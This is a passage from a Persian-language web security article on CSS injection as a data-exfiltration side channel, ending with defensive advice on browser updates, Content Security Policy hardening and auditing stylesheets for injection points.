مشخصات CSS همچنان قدرتمندتر می‌شود. رابط‌های برنامه‌نویسی کاربردی CSS Houdini امکان رسم و چیدمان سفارشی صفحات وب را فراهم می‌کنند. @property ویژگی‌های سفارشی با قابلیت بررسی نوع را با کنترل وراثت فعال می‌کند. کوئری‌های کانتینر بُعد دیگری از سبک‌بندی شرطی را اضافه می‌کنند. هر ویژگی جدید، بیانگری زبان را افزایش می‌دهد و بیانگری در یک زبان اعلانی که می‌تواند درخواست‌های شبکه را فعال کند، عملاً یک کانال جانبی است. چالش برای فروشندگان مرورگر واضح است: هر ویژگی که CSS را توانمندتر می‌کند، آن را خطرناک‌تر نیز می‌کند.

شایان ذکر است: CSS به معنای واقعی کلمه به خودی خود Turing-complete نیست. قدرت کانال جانبی از توانایی CSS در راه‌اندازی مشروط درخواست‌های شبکه، همراه با سروری که به صورت پویا پاسخ‌ها را تولید می‌کند، ناشی می‌شود. این حلقه بازخورد CSS به علاوه سرور است که اوراکل را ایجاد می‌کند، نه CSS به تنهایی.

این برای مدل امنیتی وب چه معنایی دارد؟

این فرض که «تزریق CSS بی‌خطر است» باید برای همیشه کنار گذاشته شود. بررسی‌های امنیتی و مدل‌های تهدید باید تزریق CSS را به عنوان یک دسته‌بندی آسیب‌پذیری درجه یک در نظر بگیرند، که از نظر شدت با XSS در زمینه‌هایی که داده‌های حساس در DOM قرار دارند، قابل مقایسه است. این امر پیامدهای مستقیمی برای پلتفرم‌های CMS که امکان تم‌های سفارشی را فراهم می‌کنند، کلاینت‌های ایمیل که HTML ارائه شده توسط کاربر را با سبک‌ها رندر می‌کنند و هر برنامه SaaS که به کاربران امکان سفارشی‌سازی ظاهر را از طریق CSS می‌دهد، دارد.

یک مثال واقعی برایتان می‌زنم. وقتی یک برنامه SaaS چند-مستاجری را که به مستاجران اجازه می‌داد CSS سفارشی را برای پورتال‌های برند خود آپلود کنند، حسابرسی کردم، متوجه شدم که هیچ یک از stylesheetهای آپلود شده برای ساختارهای url() یا @import پاکسازی نشده بودند. یک مستاجر مخرب می‌توانست توکن‌های CSRF را از هر کاربری که از پورتال برند آنها بازدید می‌کرد، استخراج کند. پس از اینکه رویکرد پاکسازی که در بالا توضیح داده شد را پیاده‌سازی کردیم و CSP برنامه را سخت‌تر کردیم، سطح حمله را به طور کامل از بین بردیم، بدون اینکه هیچ تاثیری بر موارد استفاده سفارشی‌سازی مشروع داشته باشد.

سه کاری که همین الان باید انجام دهید

۱. تمام مرورگرهای مبتنی بر کرومیوم را در سازمان خود به‌روزرسانی کنید . با استفاده از chrome://version تأیید کنید. فرض نکنید که به‌روزرسانی خودکار اجرا شده است.

۲. CSP خود را بررسی و تقویت کنید. به طور خاص، 'unsafe-inline' را از style-src حذف کنید، img-src و font-src را به ریشه‌های شناخته شده قفل کنید و گزارش تخلف CSP را مستقر کنید. اگر اصلاً هدر CSP ندارید، کاملاً در معرض این نوع حمله قرار دارید.

۳. در مدل امنیتی خود، با تزریق CSS با همان شدت XSS برخورد کنید . کدبیس خود را برای حفره‌های تزریق CSS بررسی کنید: ورودی کاربر که در تگ‌های <style> منعکس می‌شود، ویژگی‌های style که از داده‌های غیراستاندارد پر شده‌اند، پیکربندی‌های تم CSS-in-JSON و هر متغیر قالبی که درون یک stylesheet رندر می‌شود. هر یک از این‌ها یک کانال خروج داده است و هیچ مقدار محافظت جاوا اسکریپت شما را نجات نخواهد داد.

تست مسدودسازی تبلیغات

ارسال نظر

دیدگاه‌ها بسته شده‌اند.


تبليغات ايهنا تبليغات ايهنا

تمامی حقوق مادی و معنوی این سایت متعلق به خبرکاو است و استفاده از مطالب با ذکر منبع بلامانع است